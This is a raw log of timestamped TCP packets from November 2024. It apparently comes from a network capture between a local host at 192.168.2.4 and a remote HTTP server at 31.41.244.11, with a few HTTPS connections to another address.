Nov 18, 2024 23:04:13.400746107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400760889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400775909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400791883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400804043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.400825024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.400840044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.401159048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401264906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401278973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401293039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401308060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401314020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.401324987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401326895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.401340008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.401343107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401380062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.401388884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.401873112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401885986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.401927948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.402101040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402117014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402131081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402146101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402148008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.402158022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.402162075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402177095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.402178049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402194977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.402203083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.402232885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403034925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403057098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403069019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403079987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403084040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403100967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403107882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403116941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403131008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403141975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403146029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403156042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403162003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403177977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403182983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403196096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403224945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.403853893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403868914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.403912067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.432324886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.432394028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.432410002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.432497978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.432602882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.459290028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459391117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459408045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459465981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.459507942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.459666014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459681034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459695101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459733009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.459733009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.459934950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459949017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459961891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.459999084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.459999084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.460283041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.460297108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.460310936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.460325003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.460340977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.460351944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.460355997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.460381985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.460381985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.460408926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.461013079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461034060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461049080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461062908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461080074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461083889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.461117029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.461117029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.461675882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461688995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461744070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.461930037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461945057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461957932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461971998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.461987972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.462002993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.462003946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.462003946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.462038040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.462135077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.462919950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.462953091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.462981939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463011026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463015079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463032961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463049889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463072062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463083029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463108063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463118076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463126898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463165998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463699102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463732958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463764906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463788986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463798046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463810921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463833094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463850021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463865995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.463872910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.463912010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.464607000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.464641094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.464668036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.464675903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.464689016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.464720011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.464736938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.464762926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.617160082 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.617194891 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.774471998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774544954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774561882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774574041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774661064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774669886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.774703026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774720907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774727106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.774727106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.774739981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.774786949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.774786949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.774787903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.775510073 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.775537968 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.775594950 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.775603056 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.776334047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.776377916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.776392937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.776398897 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.776406050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.776407957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.776418924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.776447058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.776489973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.776505947 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.776520014 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.776531935 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.776535988 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.777288914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777306080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777321100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777337074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777352095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777359009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.777369022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777381897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.777383089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.777401924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.777420998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.778007984 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.778278112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778295040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778310061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778326035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778342962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778347015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.778358936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778373957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.778376102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.778393984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.778430939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.778439045 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.778475046 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.779021978 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.779038906 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.779237986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779256105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779269934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779285908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779300928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779310942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.779335022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779350042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.779361963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.779361963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.779381990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.779400110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.779606104 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.779644012 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.779711008 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.779958010 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.779987097 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.780229092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780246973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780260086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780275106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780289888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780289888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.780303955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780313015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.780320883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780329943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.780334949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.780348063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.780375957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.781200886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781217098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781232119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781248093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781265020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781269073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.781269073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.781280041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781289101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.781335115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.781335115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.781968117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.781991005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782006025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782021046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782036066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782042980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.782051086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782063961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.782066107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782082081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782083035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.782099962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.782124043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.782942057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782958031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782972097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.782988071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783011913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783021927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783021927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783021927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783029079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783045053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783051968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783052921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783060074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783082962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783082962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783101082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783866882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783883095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783898115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783912897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783929110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783936024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783943892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783955097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783958912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.783973932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.783974886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784002066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.784018993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.784018993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.784770966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784786940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784801960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784816027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784832001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784846067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784859896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.784859896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.784859896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.784883976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.784913063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.785692930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785708904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785723925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785738945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785749912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.785753965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785768032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.785769939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785785913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785787106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.785800934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.785801888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.785820007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.785854101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.786600113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786614895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786628962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786644936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786659002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786668062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.786674976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786685944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.786689997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786701918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.786705971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.786734104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.786753893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787529945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787545919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787561893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787575960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787591934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787594080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787594080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787606955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787619114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787636042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787642002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787652016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.787658930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787679911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.787695885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.788441896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788460016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788474083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788490057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788506031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788506985 CET	49794	80	192.168.2.4	31.41.244.11
